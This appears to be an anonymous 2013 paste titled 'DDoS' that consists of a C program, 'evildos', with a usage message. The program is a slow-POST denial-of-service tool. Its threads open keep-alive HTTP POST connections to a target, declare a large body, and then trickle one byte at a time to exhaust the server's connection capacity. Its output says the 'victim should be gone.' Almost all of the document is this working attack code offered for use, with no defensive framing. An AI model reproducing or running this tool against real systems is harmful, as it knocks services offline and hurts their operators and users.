DDoS


SUBMITTED BY: Guest

DATE: May 20, 2013, 10:12 p.m.

FORMAT: C++

SIZE: 3.1 kB

HITS: 986

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <netdb.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <stdlib.h>
  9. #define MAXSIZE 5000
  10. #define THREADS 255
  11. char startbuf[MAXSIZE];
  12. char hostname[MAXSIZE];
  13. int port;
  14. void dothread(void *arg)
  15. {
  16. int sd, count=0;
  17. struct sockaddr_in sin;
  18. struct sockaddr_in pin;
  19. struct hostent *hp;
  20. int self;
  21. char dot[1];
  22. memcpy(&self, arg, sizeof(int));
  23. if ((hp = gethostbyname(hostname)) == 0)
  24. {
  25. perror("gethostbyname");
  26. exit(1);
  27. }
  28. memset(&pin, 0, sizeof(pin));
  29. pin.sin_family = AF_INET;
  30. pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
  31. pin.sin_port = htons(port);
  32. if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  33. {
  34. perror("socket");
  35. return;
  36. }
  37. if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
  38. {
  39. perror("connect");
  40. return;
  41. }
  42. if (send(sd, startbuf, strlen(startbuf), 0) == -1)
  43. {
  44. perror("send");
  45. return;
  46. }
  47. dot[0] = (unsigned char)(self&0xFF);
  48. for (count=0;count<5000;count++)
  49. {
  50. /* just a weak PRNG..better use rand() instead */
  51. dot[0] = (unsigned char)(dot[0]+count);
  52. dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
  53. send(sd, dot, 1, 0);
  54. sleep(100);
  55. }
  56. close(sd);
  57. }
  58. void usage(void)
  59. {
  60. printf("Usage: ./evildos <host> <port> <POST_URI>\n");
  61. printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
  62. exit(1);
  63. }
  64. int main(int argc, char **argv)
  65. {
  66. pthread_t threads[THREADS];
  67. int counter;
  68. if (argc!=4) usage();
  69. strcpy(hostname,argv[1]);
  70. port = atoi(argv[2]);
  71. sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
  72. printf("Spawning threads\n");
  73. for (counter=1;counter<THREADS;counter++)
  74. {
  75. pthread_create(&threads[counter], NULL, dothread, &counter);
  76. usleep(100000);
  77. }
  78. printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
  79. for (counter=1;counter<THREADS;counter++)
  80. {
  81. pthread_join(&threads[counter]);
  82. }
  83. }

comments powered by Disqus